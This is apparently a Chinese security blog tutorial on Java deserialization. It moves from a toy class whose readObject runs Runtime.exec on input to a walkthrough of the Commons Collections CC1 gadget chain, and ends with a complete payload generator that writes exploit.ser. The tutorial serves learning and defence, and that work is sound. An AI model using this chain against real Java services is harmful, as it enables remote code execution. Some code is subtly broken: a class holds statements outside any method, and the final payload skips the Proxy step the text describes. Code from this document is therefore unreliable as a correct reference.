java原生反序列化漏洞
什么是java序列化与反序列化
序列化(Serialization):将对象转换为字节流,以便存储或传输。
反序列化(Deserialization):将字节流恢复为对象的过程。
为什么需要序列化和反序列化
- 对象在网络上传输的需要
Java 程序中的对象不能直接在网络上传输,例如两个 Java 服务(或客户端与服务端)之间通信,需要将对象序列化为字节流,发送到目标,再通过反序列化重建对象。如:Java RMI(远程方法调用)、Dubbo、Hessian、Spring HTTPMessageConverter等场景。
- 对象持久化存储
在很多系统中,需要将运行时对象保存到硬盘、数据库或缓存中,以便后续恢复使用。这就需要将对象序列化后进行保存。
- 框架机制内部实现
很多 Java 框架为了实现某些功能,如 AOP 拦截、缓存、远程调用、消息队列传输等,底层都依赖于对象的序列化机制。
序列化在安全中存在的问题——反序列化漏洞
虽然序列化/反序列化存在诸多的应用场景,但一旦反序列化过程可被用户控制,且使用了不安全的类或未对输入进行验证,就可能触发反序列化漏洞。攻击者可以构造恶意对象数据流,一旦系统反序列化它,就可能执行任意代码,甚至获取服务器控制权。
For example:
我们可以在本地创建以下2个文件:
person1.java
import java.io.Serializable;
public class person1 implements Serializable {
private String name;
private int age;
public person1(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Person{name='" + name + "', age=" + age + "}";
}
}
serialization.java
import java.io.*;
public class serialization {
public static void main(String[] args) {
person1 person = new person1("xuwdui", 25);
// 序列化
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person1.bin"))) {
oos.writeObject(person);
System.out.println("序列化成功:" + person);
} catch (IOException e) {
e.printStackTrace();
}
// 反序列化
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("person1.bin"))) {
person1 deserializedPerson = (person1) ois.readObject();
System.out.println("反序列化成功:" + deserializedPerson);
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
在serialization中,首先生成了一个person对象,然后将生成的person对象进行序列化操作,得到二进制文件person1.bin;接着再读取该文件进行反序列化操作,最终得到person对象的内容,并打印出来。
注意:
(1)想要序列化的对象需要实现Serializable接口才可以序列化。
(2)使用transient标识的对象不参与序列化。
在Person类中,name属性之前加上transient,改为private transient String name;
之后再次尝试序列化和反序列化,输出结果:Person{name='null',age=25}
。
(3)静态成员变量不能被序列化,因为序列化是针对对象的,而静态成员变量属于类。
readObject & writeObject
writeObject
是序列化的时候会自动调用的魔术方法,readObject
是反序列化自动会调用的魔术方法,在要序列化的对象中可以重写该方法实现自定义反序列化内容,例如在上面的Person类中添加如下代码:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
System.out.println("反序列化时自动调用我readObject");
ois.defaultReadObject();
}
private void writeObject(ObjectOutputStream oos) throws IOException {
System.out.println("序列化时自动调用我writeObject");
oos.defaultWriteObject();
}
重新执行serialization.java可得:
如果反序列化时类的属性也实现了自己的readObject
,则会调用属性的readObject
去反序列化属性内容,前提是该属性没有被transient
修饰。
现在我们修改一下person1,执行内部的readobject和writeobject
import java.io.*;
public class person1 implements Serializable {
private String name;
private int age;
public person1(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
System.out.println("我是person类内部的readObject");
ois.defaultReadObject();
}
private void writeObject(ObjectOutputStream oos) throws IOException {
System.out.println("我是person类内部的writeObject");
oos.defaultWriteObject();
}
@Override
public String toString() {
return "Person{name='" + name + "', age=" + age + "}";
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
person1 person = new person1("xuwdui", 25);
File file = new File("person2.bin");
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream);
System.out.println("序列化开始。。。");
oos.writeObject(person);
// File file = new File("person.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));
System.out.println("反序列化开始.....");
objectInputStream.readObject();
}
}
反序列化漏洞
简单地讲,反序列化漏洞就是在反序列化的时候,用户恶意构造反序列化内容,导致恶意行为的执行。举个例子,还是在person1类中重写readObject与writeObject,同时将person内部的name属性改为windows系统指令“calc”:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
System.out.println("我是person类内部恶意修改的readObject");
String cmd = ois.readUTF();
if (!cmd.isEmpty()){
Runtime.getRuntime().exec(cmd);//执行任意指令
}
ois.defaultReadObject();
}
private void writeObject(ObjectOutputStream oos) throws IOException {
System.out.println("我是person类内部恶意修改的writeObject");
oos.writeUTF(this.name);
oos.defaultWriteObject();
}
执行完发现,我们可以通过此类简单的方式完成RCE,当然现实中远比这个demo复杂,但底层原理类似,下面我们来分析一个经典的实例CC1链条。
CommonsCollections1漏洞
在分析这些反序列化漏洞之前,推荐大家使用 ysoserial-master 项目,该项目包含目前常见的各类反序列化漏洞的利用链以及payload。
Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发,但同时他也被爆出存在严重的反序列化漏洞。
反射是什么
在学习这个漏洞利用链之前,需要先了解java反射的基本原理。
反射(Reflection)是 Java 提供的一种运行时动态分析和操作类、方法、属性的机制。我们稍微修改一下前面的person类使其方法内容更加丰富,结构更加全面。
public class Person implements Serializable {
private static final long serialVersionUID = 1L; // 推荐加上这个字段,定义类的版本号
private String name;
private int age;
private String pet;
public int number;
public Person() {}
// 构造方法
public Person(String name, int age, String pet) {
this.name = name;
this.age = age;
this.pet = pet;
}
private Person(String name,int age) {
this.name = name;
this.age = age;
}
// Getter 和 Setter 方法
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
private String eat(String something){
System.out.println("再吃"+ something);
return "1111";
}
@Override
public String toString() {
return "Person{name='" + name + "', age=" + age + "', pet=" + pet + "}";
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
System.out.println("Person 反序列化...");
String cmd = ois.readUTF();
if (!cmd.isEmpty()){
Runtime.getRuntime().exec(cmd);
}
ois.defaultReadObject();
}
private void writeObject(ObjectOutputStream oos) throws IOException {
System.out.println("Person 序列化...");
oos.writeUTF(this.name);
oos.defaultWriteObject();
}
}
新建一个反射的测试类fanshe.java,获取到上面的Person类后执行,结果如注释所见。
public class fanshe
{
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
//获取class字节码文件对象
Class clazz = Class.forName("Person");
//获取构造方法、公有public
Constructor[] constructors = clazz.getConstructors();
for (Constructor constructor : constructors) {
System.out.println(constructor); //public Person(java.lang.String,int,java.lang.String)
//public Person()
}
System.out.println("-------------");
//获取所有构造方法,包括私有
Constructor[] constructors2 = clazz.getDeclaredConstructors();//private Person(java.lang.String,int)
for (Constructor constructor2 : constructors2) { //public Person(java.lang.String,int,java.lang.String)
System.out.println(constructor2); //public Person()
}
System.out.println("-------------");
//获取单个指定方法(参数类型)
Constructor constructors3 = clazz.getDeclaredConstructor(String.class,int.class);//private Person(java.lang.String,int)
System.out.println(constructors3);
System.out.println("-------------");
//创建对象,临时取消权限校验
constructors3.setAccessible(true);
Person person= (Person) constructors3.newInstance("dsd",23);
System.out.println(person); //Person{name='dsd', age=23', pet=null}
System.out.println("-------------");
//获取公共成员变量
Field[] fields = clazz.getFields();
for (Field field : fields) {
System.out.println(field); //public int Person.number
}
System.out.println("-------------");
//获取所有的成员变量
Field[] fields2 = clazz.getDeclaredFields(); //private static final long Person.serialVersionUID
for (Field field2 : fields2) { //private java.lang.String Person.name
System.out.println(field2); //private int Person.age
} //private java.lang.String Person.pet
System.out.println("-------------"); //public int Person.number
//获取单个任意成员变量(方法名)
Field age = clazz.getDeclaredField("age");
System.out.println(age); //private int Person.age
System.out.println("-------------");
//获取权限修饰符,public,private
int modifiers = age.getModifiers();
System.out.println(modifiers); //2私有为2
Field number = clazz.getDeclaredField("number");
int modifiers1 = number.getModifiers();
System.out.println(modifiers1); //1公有为1
System.out.println("-------------");
//获取成员变量名字
String n = age.getName();
System.out.println(n); //age
System.out.println("-------------");
//获取成员变量的数据类型
Class<?> type = age.getType();
System.out.println(type); //int
System.out.println("-------------");
//获取成员变量记录的值
Person p = new Person("xhna",23,"w");
age.setAccessible(true);
Object value = age.get(p);
System.out.println(value); //23
System.out.println("-------------");
//修改对象里面记录的值
age.set(p,24);
System.out.println(p); //Person{name='xhna', age=24', pet=w}
System.out.println("-------------");
//获取里面所有的方法对象(public),包含父类中所有的公共方法
Method[] methods = clazz.getMethods(); //所有public修饰的方法
for (Method method : methods) { //public java.lang.String Person.toString()
System.out.println(method); //public java.lang.String Person.getName()
} //public void Person.setName(java.lang.String)。。。一一列举
System.out.println("-------------");
//获取里面所有的方法对象,不能获取父类的,但是可以获取本类中私有的方法
Method[] declaredMethods = clazz.getDeclaredMethods(); //所有内部方法包括私有
for (Method declaredMethod : declaredMethods) { //private void Person.readObject(java.io.ObjectInputStream) throws java.io.IOException,java.lang.ClassNotFoundException;private void Person.writeObject(java.io.ObjectOutputStream) throws java.io.IOException
System.out.println(declaredMethod); //private java.lang.String Person.eat(java.lang.String)不一一列举
}
System.out.println("-------------");
//获取指定的单个方法
Method rd = clazz.getDeclaredMethod("readObject", ObjectInputStream.class);
System.out.println(rd); //private void Person.readObject(java.io.ObjectInputStream) throws java.io.IOException,java.lang.ClassNotFoundException
Method toString = clazz.getDeclaredMethod("toString");
System.out.println(toString); //public java.lang.String Person.toString()
System.out.println("-------------");
//获取到方法的修饰符
int modifiers2 = rd.getModifiers();
System.out.println(modifiers2); //2
System.out.println("-------------");
//获取方法的名字
String rdname = rd.getName();
System.out.println(rdname); //readObject
System.out.println("-------------");
//获取方法的形参
Parameter[] parameters = rd.getParameters();
for (Parameter parameter : parameters) {
System.out.println(parameter); //java.io.ObjectInputStream arg0
}
System.out.println("-------------");
//获取到方法的返回值
//获取方法抛出的异常
Class<?>[] exceptionTypes = rd.getExceptionTypes();
for (Class<?> exceptionType : exceptionTypes) {
System.out.println(exceptionType); //class java.io.IOException
} //class java.lang.ClassNotFoundException
System.out.println("-------------");
//方法运行invoke
Person p2 =new Person();
Method eat = clazz.getDeclaredMethod("eat", String.class);
eat.setAccessible(true);
//参数1p2表示方法的调用者;参数2表示调用方法的时候传递的实际参数,如果是有返回值的方法要用去接取返回值
Object sahda = eat.invoke(p2, "sahda");
System.out.println(sahda); //再吃sahda
//1111
}
}
由此可见,反射的功能十分全面,可以动态地获取到类、方法、属性等信息。
public class demo1 {
Class<?> clazz = Class.forName("java.lang.Runtime");
Method method = clazz.getMethod("getRuntime");
Object runtime = method.invoke(null);
Method exec = clazz.getMethod("exec", String.class);
exec.invoke(runtime, "calc");
}
学习完反射知识后就可以理解上述代码,通过反射动态调用 Runtime.getRuntime().exec("calc")
实现命令执行,这是 CC1 链尾部命令执行的核心机制。
Transformer接口
Transformer
是 Commons Collections 提供的一个函数式接口,用于将输入对象转换为输出对象。
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
InvokerTransformer
在CommonsCollections
对应的危险方法为InvokerTransformer.transform()
,InvokerTransformer
是Transformer
的一个实现类,在该方法中可以用反射调用任意方法。
eg通过反射调用方式,可以执行危险系统指令.
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
ConstantTransformer
ConstantTransformer
是一个返回固定常量的 Transformer,在初始化时储存了一个 Object,后续的调用时会直接返回这个 Object。
这个类用于和 ChainedTransformer 配合,将其结果传入 InvokerTransformer 来调用我们指定的类的指定方法,常用于链首初始化值。
ChainedTransformer
ChainedTransformer类也是一个 Transformer的实现类,但是这个类自己维护了一个 Transformer 数组, 在调用 ChainedTransformer 的 transform 方法时,会循环数组,依次调用 Transformer 数组中每个 Transformer 的 transform 方法,并将结果传递给下一个 Transformer。
使用 ConstantTransformer 返回 Runtime 的 Class 对象,传入 InvokerTransformer 中,并借助 ChainedTransformer 的链式调用方式完成反射的调用.InvokerTransformer调用class对象的getMethod的方法获取到
getRuntime,调用之后获取到getRuntime Method,然后作为参数出入下一个
InvokerTransformer,在这个transform中调用
invoke获取到runtime实例,下一个transform调用
exec`方法即可。具体实现如下所示。
至此,CC1的后半核心触发部分分析完毕,我们继续向前分析。
TransformedMap
TransformedMap 是对普通 Map 的一种装饰器,会在 put ()数据时自动对 key 或 value 进行“转换”。
TransformedMap
只在你 put()
的时候调用 transformer,不会在 get()
的时候调用。
当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put
方法时),就会触发相应参数的 Transformer 的 transform()
方法。
LazyMap
LazyMap
是一个 Map 的装饰器,它的行为是:当访问一个 key 时,如果 key 不存在,就自动调用 Transformer 生成值并返回。
org.apache.commons.collections.map.LazyMap
与 TransformedMap 类似,
不过差异是调用 get()
方法时如果传入的 key 不存在,则会触发相应参数的 Transformer 的 transform()
方法。
decorate方法
decorate()
方法是 Commons Collections 中用于构造“增强版 Map”的静态工厂方法,可以将普通的HashMap或Map增添额外功能;
public static Map decorate(Map map, Transformer factory)
//map:原始的 HashMap 或其他 Map 实例
//factory:一个 Transformer,当调用 .get(key) 且 key 不存在时触发 transformer.transform(key)
//TransformedMap
Transformer keyTransformer = input -> {
System.out.println("Transforming key: " + input);
return input;
};
Map map = TransformedMap.decorate(new HashMap(), keyTransformer, null);
map.put("test", "123");//调用map.put()方法时,执行 transformer.transform()
//LazyMap
Map innerMap = new HashMap();
Transformer transformer = input -> {
System.out.println("Transform called with: " + input);
return "Generated-" + input;
};
Map lazyMap = LazyMap.decorate(innerMap, transformer);
lazyMap.get("x"); // 如果"key x"不存在,则执行 transformer.transform("x")
它通过包装原始 Map,并引入 Transformer 逻辑,实现对 put()
或 get()
的功能增强,总的来说:
- LazyMap.decorate() 会在key不存在时,通过 map.get() 时触发 transformer.transform()
- TransformedMap.decorate() 会在调用 map.put() 时触发 transformer.transform()
基于以上知识,我们又可以基于LazyMap+ChainedTransformer的触发构造:
public class LazyMapTrigger {
public static void main(String[] args) {
// 构造 Transformer 链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}) // Windows: calc, macOS: open -a Calculator.app
};
Transformer chain = new ChainedTransformer(transformers);
// 创建 LazyMap,包装 HashMap
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
// 触发 Transformer 链
System.out.println("尝试从 lazyMap 中读取不存在的 key...");
lazyMap.get("anykey"); // 触发 transform -> 执行 Runtime.getRuntime().exec("calc")
}
}
使用 ConstantTransformer
返回 Runtime
的 Class 对象,传入多个 InvokerTransformer
中,借助 ChainedTransformer
的链式调用方式完成一系列反射调用,最终执行恶意命令。在上述案例中,使用 LazyMap
的 decorate
方法将 ChainedTransformer
设置为 Map 的 valueFactory,当调用 LazyMap
的 .get()
方法且 key 不存在时,会触发 transformer.transform(key)
,从而启动整条 Transformer 链,完成命令执行。
到此为止,我们已经理解了如何构造命令执行的 Transformer 链(chain gadget) 和执行命令的入口方法(sink gadget)。接下来我们需要理解,整个链条中常用的 kick-off gadget(触发点)sun.reflect.annotation.AnnotationInvocationHandler。
AnnotationInvocationHandler
AnnotationInvocationHandler
是一个动态代理注解的处理器类,服务于 Java 注解(Annotation)动态代理机制。Java 在运行时通过这个类对注解进行代理,使注解也能像普通接口一样,通过 Proxy.newProxyInstance()
生成动态代理对象。
为什么它可以用于反序列化触发?
因为它重写了readObject方法!这意味着在被反序列化的时候,它可以自定义行为,并对其内部成员进行操作。
它会自动反序列化一个内部成员:memberValues: Map<String, Object>
。
如果我们在构造时,将这个 memberValues
传入一个恶意的 Map
(比如 LazyMap
装饰过的),那么当反序列化发生、调用 validateAnnotation()
或后续方法时,就可能触发 Map.get()
—— 从而触发我们设置的 Transformer
链。
需要注意,第一个参数必须是注解类型,例如Retention
、Target
,而且这些注解里必须定义了方法,因为有一个判断var7 != null
,var6
是传入字典的key,var3
就是Retention
中定义的方法,因为这里方法的名字是value
,所以必须要让var6
是value
。
所以只要创建包含恶意ChainedTransformer
的LazyMap的Proxy对象,赋值给AnnotationInvocationHandler.memberValues
然后反序列化,在AnnotationInvocationHandler.readObject
中只要执行this.memberValues
的任意方法都会先执行invoke
,然而在AnnotationInvocationHandler
中的invoke
方法中会调用到get方法,LazyMap.get(),从而触发漏洞。
构建完整攻击链payload
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class LazyMapTrigger {
public static void main(String[] args) throws Exception {
// === 1. 构造 Transformer 链 ===
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}) // 恶意触发类
};
Transformer chain = new ChainedTransformer(transformers);
// === 2. 创建 LazyMap,包装 HashMap ===
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
// === 3. 构造 AnnotationInvocationHandler 实例 ===
Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 使用 Retention.class 作为合法参数(随便一个注解类型)
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
// === 4. 序列化到文件 ===
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exploit.ser"));
oos.writeObject(handler);
oos.close();
System.out.println("序列化完成。对象已写入 exploit.ser");
// === 5. 反序列化触发 ===
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("exploit.ser"));
ois.readObject(); // 反序列化时触发链条
ois.close();
}
}
cc1链条
AnnotationInvocationHandler.readObject()
Proxy.entrySet() // readObject调用了proxy的某些方法,回调invoke
Proxy.invoke() === AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform() // 获取Runtime.class
InvokerTransformer.transform() // 获取Runtime.getRuntime
InvokerTransformer.transform() // 获取Runtime实例
InvokerTransformer.transform() // 调用exec方法触发rce
CommonsCollections2
后续会继续分析,To be continue...
0 条评论